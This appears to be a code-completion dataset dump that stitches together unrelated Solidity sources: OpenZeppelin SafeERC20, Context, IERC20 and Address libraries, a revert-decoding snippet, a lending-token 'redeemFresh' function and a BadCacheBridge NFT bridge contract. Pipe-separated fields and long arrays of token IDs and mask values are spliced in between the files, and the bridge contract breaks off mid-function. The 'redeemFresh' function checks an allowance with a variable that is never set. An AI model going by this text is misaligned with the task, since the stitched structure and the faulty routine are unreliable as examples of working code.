function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | Next 5 lines from https:ethereum.stackexchange.com/a/83577 | function decodeRevert(bytes memory result) internal pure {
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
| 5,987,660 | [
1,
2134,
1381,
2362,
628,
2333,
30,
546,
822,
379,
18,
3772,
16641,
18,
832,
19,
69,
19,
28,
4763,
4700,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2495,
426,
1097,
12,
3890,
3778,
563,
13,
2713,
16618,
288,
203,
3639,
309,
261,
2088,
18,
2469,
411,
23797,
13,
15226,
5621,
203,
3639,
19931,
288,
203,
5411,
563,
519,
527,
12,
2088,
16,
374,
92,
3028,
13,
203,
3639,
289,
203,
3639,
15226,
12,
21457,
18,
3922,
12,
2088,
16,
261,
1080,
3719,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0x9978Bc141d6fb9E9b3E0E63EfEAaa359c8355081/sources/contracts/FRToken.sol | * @notice User redeems rTokens for the underlying asset @dev Assumes interest has already been accrued up to the current block @param redeemer The address of the account which is redeeming the tokens @param redeemTokensIn The number of rTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)/ redeemAmount = redeemTokensIn/ Fail if redeem not allowed */ Verify market's block number equals current block number */ Fail gracefully if protocol has insufficient cash */ | function redeemFresh(address payable redeemer, uint redeemTokensIn, uint depositId) internal returns (uint) {
require(redeemTokensIn != 0, "redeemTokensIn must be not zero");
RedeemLocalVars memory vars;
vars.redeemAmount = redeemTokensIn;
uint allowed = controller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION_III, FailureInfo.REDEEM_COMPTROLLER_REJECTION_III, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH_VI, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
vars.accountTokensNew = subUInt(accountTokens[redeemer], vars.redeemAmount);
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH_VII, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
accountTokens[redeemer] = vars.accountTokensNew;
require(accountDepositMap[redeemer][depositId].amount >= redeemTokensIn, "Not enough tokens to redeem.");
uint newAmount = subUInt(accountDepositMap[redeemer][depositId].amount, redeemTokensIn);
accountDepositMap[redeemer][depositId].amount = newAmount;
emit Redeem(redeemer, vars.redeemAmount, vars.redeemAmount);
return uint(Error.NO_ERROR);
}
| 16,224,185 | [
1,
1299,
283,
323,
7424,
436,
5157,
364,
326,
6808,
3310,
225,
25374,
16513,
711,
1818,
2118,
4078,
86,
5957,
731,
358,
326,
783,
1203,
225,
283,
24903,
264,
1021,
1758,
434,
326,
2236,
1492,
353,
283,
24903,
310,
326,
2430,
225,
283,
24903,
5157,
382,
1021,
1300,
434,
436,
5157,
358,
283,
24903,
1368,
6808,
261,
3700,
1245,
434,
283,
24903,
5157,
382,
578,
283,
24903,
6275,
382,
2026,
506,
1661,
17,
7124,
13,
327,
2254,
374,
33,
4768,
16,
3541,
279,
5166,
261,
5946,
1068,
13289,
18,
18281,
364,
3189,
13176,
225,
283,
24903,
6275,
273,
283,
24903,
5157,
382,
19,
8911,
309,
283,
24903,
486,
2935,
342,
8553,
13667,
1807,
1203,
1300,
1606,
783,
1203,
1300,
342,
8911,
25063,
309,
1771,
711,
2763,
11339,
276,
961,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
283,
24903,
42,
1955,
12,
2867,
8843,
429,
283,
24903,
264,
16,
2254,
283,
24903,
5157,
382,
16,
2254,
443,
1724,
548,
13,
2713,
1135,
261,
11890,
13,
288,
203,
3639,
2583,
12,
266,
24903,
5157,
382,
480,
374,
16,
315,
266,
24903,
5157,
382,
1297,
506,
486,
3634,
8863,
203,
203,
3639,
868,
24903,
2042,
5555,
3778,
4153,
31,
203,
203,
5411,
4153,
18,
266,
24903,
6275,
273,
283,
24903,
5157,
382,
31,
203,
203,
203,
3639,
2254,
2935,
273,
2596,
18,
266,
24903,
5042,
12,
2867,
12,
2211,
3631,
283,
24903,
264,
16,
4153,
18,
266,
24903,
5157,
1769,
203,
3639,
309,
261,
8151,
480,
374,
13,
288,
203,
5411,
327,
2321,
3817,
14886,
12,
668,
18,
4208,
1856,
25353,
67,
862,
30781,
3106,
67,
6954,
45,
16,
13436,
966,
18,
862,
1639,
3375,
67,
4208,
1856,
25353,
67,
862,
30781,
3106,
67,
6954,
45,
16,
2935,
1769,
203,
3639,
289,
203,
203,
3639,
309,
261,
8981,
86,
1462,
1768,
1854,
480,
11902,
1854,
10756,
288,
203,
5411,
327,
2321,
12,
668,
18,
12693,
1584,
67,
4400,
67,
42,
14753,
67,
4136,
16,
13436,
966,
18,
862,
1639,
3375,
67,
42,
14753,
5407,
1260,
67,
10687,
1769,
203,
3639,
289,
203,
203,
540,
203,
203,
3639,
4153,
18,
4631,
5157,
1908,
273,
720,
14342,
12,
4631,
5157,
63,
266,
24903,
264,
6487,
4153,
18,
266,
24903,
6275,
1769,
203,
203,
3639,
309,
261,
588,
39,
961,
25355,
1435,
411,
4153,
18,
266,
24903,
6275,
13,
288,
203,
5411,
327,
2321,
2
] |
//SPDX-License-Identifier: CC-BY-NC-ND-4.0
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../opensea/OpenSeaIERC1155.sol";
import "../core/BadCacheI.sol";
/**
* @dev This contracts bridges an OpenSea ERC1155 into the new Badcache ERC721.
* Only owners of BadCache from OpenSea can mint new tokens once they transfer their NFT ownership to the BadcacheBridge.
* An ERC721 will be minted once transfer is received
*/
contract BadCacheBridge is ReentrancyGuard, Ownable, ERC1155Holder, ERC721Holder {
// OpenSea token that can be proxied to check for balance
address internal openseaToken = 0x495f947276749Ce646f68AC8c248420045cb7b5e;
// Total transfered tokens to our bridge
uint32 internal totalTransfers = 0;
// A list of senders, that sent tokens to our bridge
address[] internal senders;
// Storing a transfer count -> sender -> tokenId
mapping(uint32 => mapping(address => uint256)) internal transfers;
// BadCache721 token that it will be minted based on receiving
address internal badCache721 = 0x0000000000000000000000000000000000000000;
// Storing token URIs base
string private baseUri = "https://ipfs.io/ipfs/QmYSUKeq5Dt8M2RBt7u9f63QwWvdPNawr6Gjc47jdaUr5C/";
// Allowed tokens ids (from OpenSea)
uint256[] internal allowedTokens;
// Maps an old token id with a new token id oldTokenId=>newTokenId
mapping(uint256 => uint16) internal oldNewTokenIdPairs;
// Maps an old token id with a new token id oldTokenId=>newTokenId
mapping(uint16 => uint256) internal newOldTokenIdPairs;
// Keeps an array of new token ids that are allowed to be minted
uint16[] internal newTokenIds;
// Keeps an array of custom 721 tokens
uint16[] internal custom721Ids;
event ReceivedTransferFromOpenSea(
address indexed _sender,
address indexed _receiver,
uint256 indexed _tokenId,
uint256 _amount
);
event ReceivedTransferFromBadCache721(address indexed _sender, address indexed _receiver, uint256 indexed _tokenId);
event MintedBadCache721(address indexed _sender, uint256 indexed _tokenId);
/**
* @dev Initiating the tokens allowed to be received
*/
constructor() onlyOwner {
initAllowedTokens();
}
/**
* @dev Mint a ERC721 token based on the receiving of the OpenSea token.
*
* Requirements:
*
* - `_sender` cannot be the zero address.
* - `_tokenId` needs to be part of our allowedIds.
* - `_tokenId` must not be minted before.
*
* Emits a {Transfer} event.
*/
function mintBasedOnReceiving(address _sender, uint256 _tokenId) internal isTokenAllowed(_tokenId) returns (bool) {
require(_sender != address(0), "BadCacheBridge: can not mint a new token to the zero address");
uint256 newTokenId = oldNewTokenIdPairs[_tokenId];
if (BadCacheI(badCache721).exists(newTokenId) && BadCacheI(badCache721).ownerOf(newTokenId) == address(this)) {
BadCacheI(badCache721).safeTransferFrom(address(this), _sender, newTokenId);
return true;
}
require(!BadCacheI(badCache721).exists(newTokenId), "BadCacheBridge: token already minted");
require(newTokenId != 0, "BadCacheBridge: new token id does not exists");
string memory uri = getURIById(newTokenId);
_mint721(newTokenId, _sender, uri);
return true;
}
/**
* @dev check balance of an account and an id for the OpenSea ERC1155
*/
function checkBalance(address _account, uint256 _tokenId) public view isTokenAllowed(_tokenId) returns (uint256) {
require(_account != address(0), "BadCacheBridge: can not check balance for address zero");
return OpenSeaIERC1155(openseaToken).balanceOf(_account, _tokenId);
}
/**
* @dev sets proxied token for OpenSea. You need to get it from the mainnet https://etherscan.io/address/0x495f947276749ce646f68ac8c248420045cb7b5e
* Requirements:
*
* - `_token` must not be address zero
*/
function setOpenSeaProxiedToken(address _token) public onlyOwner {
require(_token != address(0), "BadCacheBridge: can not set as proxy the address zero");
openseaToken = _token;
}
/**
* @dev sets proxied token for BadCache721. You need to transfer the ownership of the 721 to the Bridge so the bridge can mint and transfer
* Requirements:
*
* - `_token` must not be address zero
*/
function setBadCache721ProxiedToken(address _token) public onlyOwner {
require(_token != address(0), "BadCacheBridge: can not set as BadCache721 the address zero");
badCache721 = _token;
}
/**
* @dev sets base uri
* Requirements:
*/
function setBaseUri(string memory _baseUri) public onlyOwner {
baseUri = _baseUri;
}
/**
* @dev get base uri
* Requirements:
*/
function getBaseUri() public view returns (string memory) {
return baseUri;
}
/**
* @dev transfers a BadCache721 Owned by the bridge to another owner
* Requirements:
*
* - `_token` must not be address zero
*/
function transferBadCache721(uint256 _tokenId, address _owner) public onlyOwner isNewTokenAllowed(_tokenId) {
require(_owner != address(0), "BadCacheBridge: can not send a BadCache721 to the address zero");
BadCacheI(badCache721).safeTransferFrom(address(this), _owner, _tokenId);
}
/**
* @dev transfers a BadCache1155 Owned by the bridge to another owner
* Requirements:
*
* - `_token` must not be address zero
*/
function transferBadCache1155(uint256 _tokenId, address _owner) public onlyOwner isTokenAllowed(_tokenId) {
require(_owner != address(0), "BadCacheBridge: can not send a BadCache1155 to the address zero");
OpenSeaIERC1155(openseaToken).safeTransferFrom(address(this), _owner, _tokenId, 1, "");
}
/**
* @dev check owner of a token on OpenSea token
*/
function ownerOf1155(uint256 _tokenId) public view returns (bool) {
return OpenSeaIERC1155(openseaToken).balanceOf(msg.sender, _tokenId) != 0;
}
/**
* @dev Triggered when we receive an ERC1155 from OpenSea and calls {mintBasedOnReceiving}
*
* Requirements:
*
* - `_sender` cannot be the zero address.
* - `_tokenId` needs to be part of our allowedIds.
* - `_tokenId` must not be minted before.
*
* Emits a {Transfer} event.
*/
function onERC1155Received(
address _sender,
address _receiver,
uint256 _tokenId,
uint256 _amount,
bytes memory _data
) public override returns (bytes4) {
onReceiveTransfer1155(_sender, _tokenId);
mintBasedOnReceiving(_sender, _tokenId);
emit ReceivedTransferFromOpenSea(_sender, _receiver, _tokenId, _amount);
return super.onERC1155Received(_sender, _receiver, _tokenId, _amount, _data);
}
/**
* @dev Triggered when we receive an ERC1155 from OpenSea and calls {mintBasedOnReceiving}
*
* Requirements:
*
* - `_sender` cannot be the zero address.
* - `_tokenId` needs to be part of our allowedIds.
* - `_tokenId` must not be minted before.
*
* Emits a {Transfer} event.
*/
function onERC721Received(
address _sender,
address _receiver,
uint256 _tokenId,
bytes memory _data
) public override returns (bytes4) {
require(_sender != address(0), "BadCacheBridge: can not update from the zero address");
if (_sender == address(this)) return super.onERC721Received(_sender, _receiver, _tokenId, _data);
require(_tokenId <= type(uint16).max, "BadCacheBridge: Token id overflows");
if (_sender != address(this)) onReceiveTransfer721(_sender, _tokenId);
emit ReceivedTransferFromBadCache721(_sender, _receiver, _tokenId);
return super.onERC721Received(_sender, _receiver, _tokenId, _data);
}
/**
* @dev get total transfer count
*/
function getTransferCount() public view returns (uint128) {
return totalTransfers;
}
/**
* @dev get addreses that already sent a token to us
*/
function getAddressesThatTransferedIds() public view returns (address[] memory) {
return senders;
}
/**
* @dev get ids of tokens that were transfered
*/
function getIds() public view returns (uint256[] memory) {
uint256[] memory ids = new uint256[](totalTransfers);
for (uint32 i = 0; i < totalTransfers; i++) {
ids[i] = transfers[i][senders[i]];
}
return ids;
}
/**
* @dev get ids of custom 721 tokens that were minted
*/
function getCustomIds() public view returns (uint256[] memory) {
uint256[] memory ids = new uint256[](custom721Ids.length);
for (uint128 i = 0; i < custom721Ids.length; i++) {
ids[i] = custom721Ids[i];
}
return ids;
}
/**
* @dev get opensea proxied token
*/
function getOpenSeaProxiedtoken() public view returns (address) {
return openseaToken;
}
/**
* @dev get BadCache721 proxied token
*/
function getBadCache721ProxiedToken() public view returns (address) {
return badCache721;
}
/**
* @dev update params once we receive a transfer from 1155
*
* Requirements:
*
* - `_sender` cannot be the zero address.
* - `_tokenId` needs to be part of our allowedIds.
*/
function onReceiveTransfer1155(address _sender, uint256 _tokenId) internal isTokenAllowed(_tokenId) returns (uint32 count) {
require(_sender != address(0), "BadCacheBridge: can not update from the zero address");
require(OpenSeaIERC1155(openseaToken).balanceOf(address(this), _tokenId) > 0, "BadCacheBridge: This is not an OpenSea token");
senders.push(_sender);
transfers[totalTransfers][_sender] = _tokenId;
totalTransfers++;
return totalTransfers;
}
/**
* @dev update params once we receive a transfer 721
*
* Requirements:
*
* - `_sender` cannot be the zero address.
* - `_tokenId` needs to be part of our allowedIds.
*/
function onReceiveTransfer721(address _sender, uint256 _tokenId) internal isNewTokenAllowed(_tokenId) {
for (uint120 i; i < senders.length; i++) {
if (senders[i] == _sender) delete senders[i];
}
OpenSeaIERC1155(openseaToken).safeTransferFrom(address(this), _sender, newOldTokenIdPairs[uint16(_tokenId)], 1, "");
}
/**
* @dev the owner can add new tokens into the allowed tokens list
*/
function addAllowedToken(uint256 _tokenId, uint16 _newTokenId) public onlyOwner {
allowedTokens.push(_tokenId);
oldNewTokenIdPairs[_tokenId] = _newTokenId;
newTokenIds.push(_newTokenId);
newOldTokenIdPairs[_newTokenId] = _tokenId;
}
/**
* @dev mint a custom 721 token by the owner
*/
function mintBadCache721(
uint16 _tokenId,
string memory _uri,
address _owner
) public onlyOwner {
require(_owner != address(0), "BadCacheBridge: can not mint a new token to the zero address");
//means we want to transfer an existing BadCache721
if (BadCacheI(badCache721).exists(_tokenId) && BadCacheI(badCache721).ownerOf(_tokenId) == address(this)) {
BadCacheI(badCache721).safeTransferFrom(address(this), _owner, _tokenId);
return;
}
require(!BadCacheI(badCache721).exists(_tokenId), "BadCacheBridge: token already minted");
_mint721(_tokenId, _owner, _uri);
custom721Ids.push(_tokenId);
}
/**
* @dev transfers the ownership of BadCache721 token
*/
function transferOwnershipOf721(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "BadCacheBridge: new owner can not be the zero address");
